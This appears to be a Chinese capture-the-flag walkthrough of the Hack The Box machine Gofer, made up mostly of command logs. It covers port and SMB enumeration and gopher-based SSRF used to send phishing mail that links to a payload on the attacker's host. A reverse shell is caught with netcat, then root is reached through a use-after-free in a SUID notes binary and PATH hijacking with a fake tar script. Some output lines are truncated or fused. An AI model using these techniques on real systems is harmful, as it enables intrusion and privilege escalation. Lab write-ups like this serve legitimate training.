$ sudo nmap -p- --min-rate=10000 10.10.11.225 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 02:22 EDT Nmap scan report for 10.10.11.225 Host is up (0.075s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 11.06 seconds
$ sudo nmap -sT -sV -sC -O -p22,25,80,139,445 10.10.11.225 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 02:24 EDT Nmap scan report for 10.10.11.225 Host is up (0.074s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA) | 256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA) |_ 256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519) 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.56 |_http-title: Did not follow redirect to http://gofer.htb/ |_http-server-header: Apache/2.4.56 (Debian) 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linnux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.or Nmap done: 1 IP address (1 host up) scanned in 27.81 seconds
$ sudo nmap --script=vuln 10.10.11.225 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 02:26 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for gofer.htb (10.10.11.225) Host is up (0.078s latency). Not shown: 995 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. | http-fileupload-exploiter: | | Couldn't find a file-type field. | |_ Couldn't find a file-type field. | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=gofer.htb | Found the following possible CSRF vulnerabilities: | | Path: http://gofer.htb:80/ | Form id: | Form action: | | Path: http://gofer.htb:80/index.html | Form id: |_ Form action: |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 139/tcp open netbios-ssn 445/tcp open microsoft-ds
Host script results: |_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less datsing); aborting [9] |_smb-vuln-ms10-054: false |_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned lare missing); aborting [9]
Nmap done: 1 IP address (1 host up) scanned in 89.27 seconds
$ sudo nikto -h http://gofer.htb - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.11.225 + Target Hostname: gofer.htb + Target Port: 80 + Start Time: 2023-08-04 02:26:53 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.ms + /: The X-Content-Type-Options header is not set. This could allow the user agent to rendthe MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/m + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 72c4, size: 5fa663in/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST . + 7962 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2023-08-04 02:37:23 (GMT-4) (630 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
没啥信息。
smb渗透
1 2 3 4 5 6 7
$ smbmap -H 10.10.11.225 [+] IP: 10.10.11.225:445 Name: gofer.htb Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers shares READ ONLY IPC$ NO ACCESS IPC Service (Samba 4.13.13-Debian)
$ smbclient \\\\10.10.11.225\\shares Password for [WORKGROUP\me]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Oct 28 15:32:08 2022 .. D 0 Fri Apr 28 07:59:34 2023 .backup DH 0 Thu Apr 27 08:49:32 2023
5061888 blocks of size 1024. 2164028 blocks available smb: \> cd .backup\ smb: \.backup\> ls . D 0 Thu Apr 27 08:49:32 2023 .. D 0 Fri Oct 28 15:32:08 2022 mail N 1101 Thu Apr 27 08:49:32 2023
5061888 blocks of size 1024. 2164008 blocks available smb: \.backup\> get mail getting file \.backup\mail of size 1101 as mail (3.6 KiloBytes/sec) (average 3.6 KiloBytes/sec) smb: \.backup\> exit
我们发现有封邮件,直接下载下来看看内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
From jdavis@gofer.htb Fri Oct 28 20:29:30 2022 Return-Path: <jdavis@gofer.htb> X-Original-To: tbuckley@gofer.htb Delivered-To: tbuckley@gofer.htb Received: from gofer.htb (localhost [127.0.0.1]) by gofer.htb (Postfix) with SMTP id C8F7461827 for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST) Subject:Important to read! Message-Id: <20221028192857.C8F7461827@gofer.htb> Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST) From: jdavis@gofer.htb
Hello guys,
Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. From now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt forma saved in Office Word are not always well interpreted by Libreoffice.
PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seet should be possible to do so via <Limit>
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://gofer.htb 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [odt] 🏁 HTTP methods │ [GET] 🚫 Do Not Recurse │ true ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 81l 197w 2590c http://gofer.htb/assets/vendor/php-email-form/validate.js 200 GET 7l 27w 3309c http://gofer.htb/assets/img/apple-touch-icon.png 200 GET 621l 2087w 29380c http://gofer.htb/index.html 200 GET 237l 526w 5700c http://gofer.htb/assets/js/main.js 200 GET 9l 23w 847c http://gofer.htb/assets/img/favicon.png 200 GET 90l 527w 40608c http://gofer.htb/assets/img/testimonials/testimonials-5.jpg 200 GET 130l 463w 27174c http://gofer.htb/assets/img/portfolio/portfolio-8.jpg 200 GET 1l 233w 13749c http://gofer.htb/assets/vendor/glightbox/css/glightbox.min.css 200 GET 88l 408w 36465c http://gofer.htb/assets/img/testimonials/testimonials-4.jpg 200 GET 13l 171w 16468c http://gofer.htb/assets/vendor/swiper/swiper-bundle.min.css 200 GET 261l 1188w 94694c http://gofer.htb/assets/img/about-img.jpg 200 GET 259l 1656w 147504c http://gofer.htb/assets/img/portfolio/portfolio-5.jpg 200 GET 187l 991w 87460c http://gofer.htb/assets/img/team/team-4.jpg 200 GET 1l 133w 68028c http://gofer.htb/assets/vendor/boxicons/css/boxicons.min.css 200 GET 369l 2025w 164200c http://gofer.htb/assets/img/team/team-2.jpg 200 GET 147l 628w 44741c http://gofer.htb/assets/img/portfolio/portfolio-6.jpg 200 GET 1535l 3031w 26660c http://gofer.htb/assets/css/style.css 200 GET 14l 1684w 143629c http://gofer.htb/assets/vendor/swiper/swiper-bundle.min.js 200 GET 1l 313w 14690c http://gofer.htb/assets/vendor/aos/aos.js 301 GET 9l 28w 307c http://gofer.htb/assets => http://gofer.htb/assets/ 200 GET 160l 818w 71959c http://gofer.htb/assets/img/testimonials/testimonials-1.jpg 200 GET 1l 625w 55880c http://gofer.htb/assets/vendor/glightbox/js/glightbox.min.js 200 GET 148l 914w 83895c http://gofer.htb/assets/img/portfolio/portfolio-2.jpg 200 GET 246l 1284w 100163c http://gofer.htb/assets/img/portfolio/portfolio-3.jpg 200 GET 345l 1897w 135739c http://gofer.htb/assets/img/portfolio/portfolio-1.jpg 200 GET 7l 2189w 194901c http://gofer.htb/assets/vendor/bootstrap/css/bootstrap.min.css 200 GET 316l 1853w 153340c http://gofer.htb/assets/img/team/team-1.jpg 200 GET 247l 1374w 99927c http://gofer.htb/assets/img/team/team-3.jpg 200 GET 71l 380w 30729c http://gofer.htb/assets/img/testimonials/testimonials-3.jpg 200 GET 1l 218w 26053c http://gofer.htb/assets/vendor/aos/aos.css 200 GET 488l 2828w 220492c http://gofer.htb/assets/img/portfolio/portfolio-7.jpg 200 GET 244l 1332w 103224c http://gofer.htb/assets/img/testimonials/testimonials-2.jpg 200 GET 120l 567w 48988c http://gofer.htb/assets/img/portfolio/portfolio-4.jpg 200 GET 12l 557w 35445c http://gofer.htb/assets/vendor/isotope-layout/isotope.pkgd.min.js 200 GET 1876l 9310w 88585c http://gofer.htb/assets/vendor/bootstrap-icons/bootstrap-icons.css 200 GET 238l 1343w 105633c http://gofer.htb/assets/img/portfolio/portfolio-9.jpg 200 GET 7l 1223w 80496c http://gofer.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js 200 GET 621l 2087w 29380c http://gofer.htb/ [####################] - 12m 220605/220605 0s found:38 errors:7 [####################] - 12m 220546/220546 318/s http://gofer.htb/
没发现啥有用的。
子域名FUZZ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ wfuzz -H "Host: FUZZ.gofer.htb" --hc 404,403 --hw 28 -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt http://gofer.htb /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://gofer.htb/ Total requests: 4989
===================================================================== ID Response Lines Word Chars Payload =====================================================================
$ curl proxy.gofer.htb/index.php?url=gopher%3A%2F%2F2130706433%3A25%2F_MAIL%2520FROM%3Ajdavis%2540gofer.htb%250ARCPT%2520To%3Ajhudson%2540gofer.htb%250ADATA%250AFrom%3Ajdavis%2540gofer.htb%250ASubject%3AImportant%2521%250AMessage%3A%253Ca%2520href%253D%2522http%3A%2F%2F<HTB_VPN_IP>%3A19198%2Fdoor.sh%2522%253Eread%253C%2Fa%253E%250A. -X POST
$ curl -X POST proxy.gofer.htb/index.php?url=gopher%3A%2F%2F2130706433%3A25%2F_MAIL%2520FROM%3Ajdavis%2540gofer.htb%250ARCPT%2520To%3Ajhudson%2540gofer.htb%250ADATA%250AFrom%3Ajdavis%2540gofer.htb%250ASubject%3AImportant%250AMessage%3A%253Ca%2520href%253D%2522%2520http%3A%2F%2F<HTB_VPN_IP>%3A19198%2Fexp.odt%2520%2522%253Eread%253C%2Fa%253E%250A.
$ sudo nc -nlvp 11451 listening on [any] 11451 ... connect to [<HTB_VPN_IP>] from (UNKNOWN) [10.10.11.225] 34542 bash: cannot set terminal process group (4974): Inappropriate ioctl for device bash: no job control in this shell bash: /home/jhudson/.bashrc: Permission denied jhudson@gofer:/usr/bin$
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have no mail. tbuckley@gofer:~$ id uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev)
tbuckley@gofer:/usr/local/bin$ ls -la total 28 drwxr-xr-x 2 root root 4096 Apr 28 16:06 . drwxr-xr-x 10 root root 4096 Oct 28 2022 .. -rwsr-s--- 1 root dev 17168 Apr 28 16:06 notes tbuckley@gofer:/usr/local/bin$ ./notes ======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ========================================
tbuckley@gofer:/usr/local/bin$ ./notes ======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ========================================
Your choice: 1
Choose an username: whatever
======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ========================================
Your choice: 3
======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ========================================
Your choice: 4
Write your note: xxxxxxxxxxxxxxxxxxxxxxxxadmin ======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ========================================
tbuckley@gofer:/tmp$ echo'cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' > tar tbuckley@gofer:/tmp$ chmod +x tar tbuckley@gofer:/tmp$ ls -la total 60 drwxrwxrwt 14 root root 4096 Aug 5 15:49 . drwxr-xr-x 18 root root 4096 Jul 19 12:44 .. drwxrwxrwt 2 root root 4096 Aug 5 08:05 .font-unix drwxr-xr-x 2 jhudson jhudson 4096 Aug 5 14:36 hsperfdata_jhudson drwxrwxrwt 2 root root 4096 Aug 5 08:05 .ICE-unix drwx------ 3 jhudson jhudson 4096 Aug 5 11:02 lu5012xuigb9.tmp drwx------ 2 jhudson jhudson 4096 Aug 5 14:36 lu9624y25uma.tmp srwxr-xr-x 1 jhudson jhudson 0 Aug 5 14:36 OSL_PIPE_1000_SingleOfficeIPC_b31bb423faa33322afe433cf9acd1272 drwx------ 3 root root 4096 Aug 5 08:05 systemd-private-711ebd4724b24c22b4a90210e66cc476-apache2.service-1K3kih drwx------ 3 root root 4096 Aug 5 08:05 systemd-private-711ebd4724b24c22b4a90210e66cc476-systemd-logind.service-FsKf3f drwx------ 3 root root 4096 Aug 5 08:05 systemd-private-711ebd4724b24c22b4a90210e66cc476-systemd-timesyncd.service-0MAATi -rwxr-xr-x 1 tbuckley tbuckley 52 Aug 5 15:49 tar drwxrwxrwt 2 root root 4096 Aug 5 08:05 .Test-unix drwx------ 2 root root 4096 Aug 5 08:05 vmware-root_617-4022243191 drwxrwxrwt 2 root root 4096 Aug 5 08:05 .X11-unix drwxrwxrwt 2 root root 4096 Aug 5 08:05 .XIM-unix
再设置一下PATH,在重新执行一下notes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ========================================